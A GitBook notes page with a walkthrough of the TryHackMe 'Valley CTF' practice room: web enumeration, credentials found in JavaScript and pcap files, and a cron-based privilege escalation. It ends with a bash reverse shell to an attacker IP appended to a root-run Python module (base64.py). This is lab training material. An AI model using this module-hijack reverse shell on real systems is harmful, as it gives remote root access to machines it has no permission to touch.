Practice
  • 🛤️TryHackMe Rooms
    • HackersVsHackers
    • Vulnnet - The End Game
    • Surfer
    • Corridor
    • Mustacchio
    • Wordpress: CVE-2021-29447
    • Bounty Hacker
    • Simple CTF
    • Agent Sudo
    • Lazy Admin
    • Ignite
    • Brooklynn 99
    • c4ptur3th3fl4g
    • Lian_Yu
    • Rabbit
    • Gallery
    • Overpass
    • Team
    • Easy Peasy
    • CmesS
    • Ultratech
    • Wonderland
    • Anonymous
    • GamingServer
    • Tomghost
    • ConvertMyVideo
    • DogCat
    • Blog
    • Git Happens
    • 0day
    • Road
    • Inferno
    • Opacity
    • Market Place
    • Valley CTF
    • Weasel
    • SafeZone
    • Blueprint
    • Fusion Corp
    • Quotient
    • Unbaked Pie
    • Kenobi
    • Steel Mountain
    • Alfred
    • Hack Park
    • Game Zone
    • Daily Bugle
    • Retro
    • Corp
    • Attacktive Directory
    • Vulnnet - Roasted
    • Vulnnet - Active
    • Vulnnet - Internal
    • Enterprise - Hard
    • Iron Corp - Hard
    • Ra - Hard
    • For Business Reasons
  • 📦HackTheBox
    • Linux Boxes
      • Lame
      • Shocker
      • Nibbles
      • Beep
      • Cronos
      • Nineveh
      • Sense
      • Solidstate
      • Node
      • Valentine
      • Poison
      • Sunday
      • Irked
      • FriendZone
      • Networked
      • Jarvis
      • Tabby
      • Mirai
      • Popcorn
    • Windows Boxes
      • Active
      • Forest
      • ChatterBox
      • Resolute
      • Intelligence
  • 🤖CTF's
    • CloudSEK CTFs
    • ACM Cyber - UCLA
  • ¯\_(ツ)_/¯
    • Interview Topics
  • 🪣BOF - OSCP
    • Basics
    • Spiking
    • FUZZing
    • Finding the Offset
    • Overwriting the EIP
    • Finding BAD Characters
    • Finding RIGHT Module
    • Generating Shellcode
  • 📛Active Directory
    • Basics
      • Managing AD Users
      • Managing AD Computers
      • Group Policies
      • Authentication Methods
      • Trees, Forests and Trusts
    • Enumeration Techniques
    • Initial Attack Vectors
    • Post Compromise Enumeration
    • Post Compromise Attacks
      • Token Impersonation - LM
      • Kerberoasting
      • cPassword / GPP Attack
      • URL File Attacks
      • PrintNightmare
      • Golden Ticket Attacks
      • ZeroLogon Attacks
    • Lateral Movement and Pivoting
      • File Transfers
      • Spawning Processes Remotely
      • Moving Laterally with WMI
      • Alternate Authentication Material
      • Abusing User's Behaviour
      • Port Forwarding
      • Maintaing Access
      • Pivoting
      • Cleaning Up
    • Other Resources
  • 🛡️Powershell Basics
    • Getting Started
      • Functions
  • 😁Others
    • API Security
    • Cloud Security
  • Enumeration
    • Local PrivEsc
    • Remoting
    • Persistence
    • Kerberos
Powered by GitBook
On this page
  • Scanning
  • Enumeration and Foothold
  • Lateral Movement
  • Privilege Escalation
  1. TryHackMe Rooms

Valley CTF

HTTP and FTP Enumeration - Wireshark Analysis - Lateral Move - CronJob PrivEsc

PreviousMarket PlaceNextWeasel

Last updated 1 year ago

Scanning

Starting off with the nmap scan

  • The SSH doesn't seems to be vulnerable - Need potential credentials to login

  • Need to enumerate the HTTP port - by finding some hidden directories

  • If we find some valid credentials, we can logon to FTP for further enumeration

Enumeration and Foothold

On checking the website hosted on the IP, we get two endpoints gallery and pricing

  • Visiting the gallery endpoint and clicking on an image - redirects to /static endpoint with the index of the image followed by it !

Let's find some hidden files on the website for the /static endpoint

  • /00 looks interesting - On visiting it !

dev notes from valleyDev:
-add wedding photo examples
-redo the editing on #4
-remove /dev1243224123123
-check for SIEM alerts

We found another directory /dev1243224123123 - Let's visit that

  • Tried all default credentials and bruteforcing for some potential credentials but it's of no use

  • Viewed the source page and found an interesting .js file - dev.js

if (username === "siemDev" && password === "california") {
        window.location.href = "/dev1243224123123/devNotes37370.txt";
    } else {
        loginErrorMsg.style.opacity = 1;
    }

Found valid credentials embedded inside the js file in plain text - Loggin in gives us another note

dev notes for ftp server:
-stop reusing credentials
-check for any vulnerabilies
-stay up to date on patching
-change ftp port to normal port

Let's reuse the credentials to connect with the FTP server and continue our enumeration

Cool, we have some .pcapng files - Let's examine that with Wireshark and see how the data travels

  • siemFTP and siemHTTP1 din't have anything useful but siemHTTP2 had a POST request on the index.html endpoint - which means there are chances of passing the credentials in plain text

Let's SSH into the machine and get a shell and grab the user.txt

Lateral Movement

We find another executable file called valleyAuthenticator, let's tranfer the file and examine it using strings

valley:liberty123

Let's SSH again with the above creds as the valley user !

Privilege Escalation

If we examine the /etc/crontab file, we see there is python file photosEncrypt.py which uses file base64 python module

The python file basically just encrypts the photos using the Base64 module and outputs it - It's run as root

  • So it imports the base64 module file, what if we can append our reverse shell ? Do we have write permissions?

I checked the permissions on the file /usr/lib/python3.8/base64.py and it was owned by root and ValleyAdmin group - and the user valley is a part of the ValleyAdmin group !

Another way would be !

find / -writable 2>/dev/null | grep "python"
/usr/lib/python3.8
/usr/lib/python3.8/base64.py

Let's add our reverse shell into this file and meanwhile start a listener !

$ cat >> /usr/lib/python3.8/base64.py
import re
import struct
import binascii
import os

os.system('/bin/bash -c \'bash -i >& /dev/tcp/10.10.11.84/4444 0>&1\'')
🛤️
:)